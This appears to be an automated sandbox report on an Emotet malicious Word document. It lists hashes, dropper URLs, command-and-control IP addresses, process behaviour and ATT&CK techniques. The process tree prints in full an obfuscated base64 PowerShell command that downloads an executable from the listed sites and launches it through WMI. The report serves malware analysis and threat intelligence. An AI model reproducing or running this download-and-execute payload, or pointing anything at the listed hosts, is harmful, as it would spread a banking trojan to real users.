emotet | b920bae96043cfc55017d7a67bb6c5caac098cfce2620c6348e63cf4f7842378

General

Target

SecuriteInfo.com.Exploit.Siggen2.12924.1168.4752.doc
Size

173KB
MD5

8926558472c411e95e18b57c17b6c8d9
SHA1

b5461e95c29e6e38b242ecf5ff10c6883f41371b
SHA256

b920bae96043cfc55017d7a67bb6c5caac098cfce2620c6348e63cf4f7842378
SHA512

6b93474601d89a01b2974f4d3596c387725f011f37dabcd074d9cd2e1a072e8510ea961b9ad08b2c41f0565fa6e09eeb51a3a4af45e8151ccf202d9af80eafd4

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.ifitmoves.net/option-tree/age9k_r7p_0l2/

exe.dropper

http://goldenstatetow.com/peradice.com/jk_le4_xip2a7s6/

exe.dropper

http://philosopherswheel.com/mizeo9/y_6pth_ymkgef/

exe.dropper

http://highlevelphoto.co.uk/Clients/7uf_yp_76rqsyz/

exe.dropper

http://klem.com.pl/tester/ntts3_j_3cgou2/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE674.exeucmhc.exe

pid	process
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1536	WINWORD.EXE
1464	674.exe
1828	ucmhc.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1536 WINWORD.EXE
1536 WINWORD.EXE
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

19 3668 powersheLL.exe

flow	pid	process
19	3668	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

674.exe

description	pid	process	target process
PID 1464 wrote to memory of 1828	1464	674.exe	ucmhc.exe
PID 1464 wrote to memory of 1828	1464	674.exe	ucmhc.exe
PID 1464 wrote to memory of 1828	1464	674.exe	ucmhc.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3668	1912	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3668 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exeucmhc.exe

pid process

3668 powersheLL.exe
3668 powersheLL.exe
3668 powersheLL.exe
1828 ucmhc.exe
1828 ucmhc.exe
1828 ucmhc.exe
1828 ucmhc.exe
Executes dropped EXE 2 IoCs

Processes:

674.exeucmhc.exe

pid process

1464 674.exe
1828 ucmhc.exe

description	pid	process
Token: SeDebugPrivilege	3668	powersheLL.exe

pid	process
3668	powersheLL.exe
3668	powersheLL.exe
3668	powersheLL.exe
1828	ucmhc.exe
1828	ucmhc.exe
1828	ucmhc.exe
1828	ucmhc.exe

pid	process
1464	674.exe
1828	ucmhc.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/1464-10-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/1464-10-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/1828-13-0x0000000000540000-0x000000000054C000-memory.dmp	emotet
behavioral2/memory/1828-13-0x0000000000540000-0x000000000054C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

674.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\eappcfg\ucmhc.exe 674.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\eappcfg\ucmhc.exe	674.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12924.1168.4752.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:1536

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAEQASgBSAEoAbwBjAGEAPQAnAE4ARABYAEYAUwBwAGwAZwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBpAGAAVAB5AFAAUgBPAFQAbwBgAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABXAEIATQBBAEYAbQBzAGoAIAA9ACAAJwA2ADcANAAnADsAJABBAEEASABaAFoAdQBzAGUAPQAnAFcAQgBUAE0AWgBjAGEAbQAnADsAJABJAEYAWgBBAFYAdQBjAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFcAQgBNAEEARgBtAHMAagArACcALgBlAHgAZQAnADsAJABSAFYATABYAFYAZwBvAGUAPQAnAFEASQBXAE8AWgB2AHgAaQAnADsAJABKAEcATwBaAEcAbQBwAHcAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBOAFQAOwAkAEIAVwBCAEIASQBpAG8AZwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGkAZgBpAHQAbQBvAHYAZQBzAC4AbgBlAHQALwBvAHAAdABpAG8AbgAtAHQAcgBlAGUALwBhAGcAZQA5AGsAXwByADcAcABfADAAbAAyAC8AKgBoAHQAdABwADoALwAvAGcAbwBsAGQAZQBuAHMAdABhAHQAZQB0AG8AdwAuAGMAbwBtAC8AcABlAHIAYQBkAGkAYwBlAC4AYwBvAG0ALwBqAGsAXwBsAGUANABfAHgAaQBwADIAYQA3AHMANgAvACoAaAB0AHQAcAA6AC8ALwBwAGgAaQBsAG8AcwBvAHAAaABlAHIAcwB3AGgAZQBlAGwALgBjAG8AbQAvAG0AaQB6AGUAbwA5AC8AeQBfADYAcAB0AGgAXwB5AG0AawBnAGUAZgAvACoAaAB0AHQAcAA6AC8ALwBoAGkAZwBoAGwAZQB2AGUAbABwAGgAbwB0AG8ALgBjAG8ALgB1AGsALwBDAGwAaQBlAG4AdABzAC8ANwB1AGYAXwB5AHAAXwA3ADYAcgBxAHMAeQB6AC8AKgBoAHQAdABwADoALwAvAGsAbABlAG0ALgBjAG8AbQAuAHAAbAAvAHQAZQBzAHQAZQByAC8AbgB0AHQAcwAzAF8AagBfADMAYwBnAG8AdQAyAC8AJwAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEUASwBXAFIAagBxAGQAPQAnAFQAUgBZAEMAUwBkAHUAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBIAEcARgBKAGkAZwBxACAAaQBuACAAJABCAFcAQgBCAEkAaQBvAGcAKQB7AHQAcgB5AHsAJABKAEcATwBaAEcAbQBwAHcALgAiAGQAbwB3AE4AYABMAG8AYABBAGAAZABGAEkATABlACIAKAAkAFcASABHAEYASgBpAGcAcQAsACAAJABJAEYAWgBBAFYAdQBjAGkAKQA7ACQASgBEAEYAQgBLAHUAZQBiAD0AJwBQAEgAQwBZAFAAcQB4AGIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAEYAWgBBAFYAdQBjAGkAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMQA4ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYABBAHQARQAiACgAJABJAEYAWgBBAFYAdQBjAGkAKQA7ACQAVQBFAEIASABSAHUAdgBuAD0AJwBOAFEAVABVAEsAegBuAGYAJwA7AGIAcgBlAGEAawA7ACQAWABVAFAAUwBQAG4AYQB3AD0AJwBVAEMASQBFAFEAdgBuAHQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBWAE8ARwBQAGgAbQBuAD0AJwBXAE4AUgBZAEIAawB5AGQAJwA=
1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3668

C:\Users\Admin\674.exe
C:\Users\Admin\674.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Drops file in System32 directory
PID:1464

C:\Windows\SysWOW64\eappcfg\ucmhc.exe
"C:\Windows\SysWOW64\eappcfg\ucmhc.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1828

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\674.exe

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C:\Users\Admin\674.exe

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C:\Windows\SysWOW64\eappcfg\ucmhc.exe

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memory/1464-10-0x0000000000580000-0x000000000058C000-memory.dmp

Filesize
48KB

Download
memory/1536-3-0x0000023A15CD1000-0x0000023A15CE2000-memory.dmp

Filesize
68KB

Download
memory/1536-5-0x0000023A15D8D000-0x0000023A15DA1000-memory.dmp

Filesize
80KB

Download
memory/1536-6-0x0000023A15D8D000-0x0000023A15DA1000-memory.dmp

Filesize
80KB

Download
memory/1536-7-0x0000023A15D8D000-0x0000023A15DA1000-memory.dmp

Filesize
80KB

Download
memory/1536-4-0x0000023A1378A000-0x0000023A1378F000-memory.dmp

Filesize
20KB

Download
memory/1536-0-0x0000023A15CD1000-0x0000023A15CE2000-memory.dmp

Filesize
68KB

Download
memory/1536-2-0x0000023A15CD1000-0x0000023A15CE2000-memory.dmp

Filesize
68KB

Download
memory/1536-1-0x0000023A15CD1000-0x0000023A15CE2000-memory.dmp

Filesize
68KB

Download
memory/1828-11-0x0000000000000000-mapping.dmp

Download
memory/1828-13-0x0000000000540000-0x000000000054C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads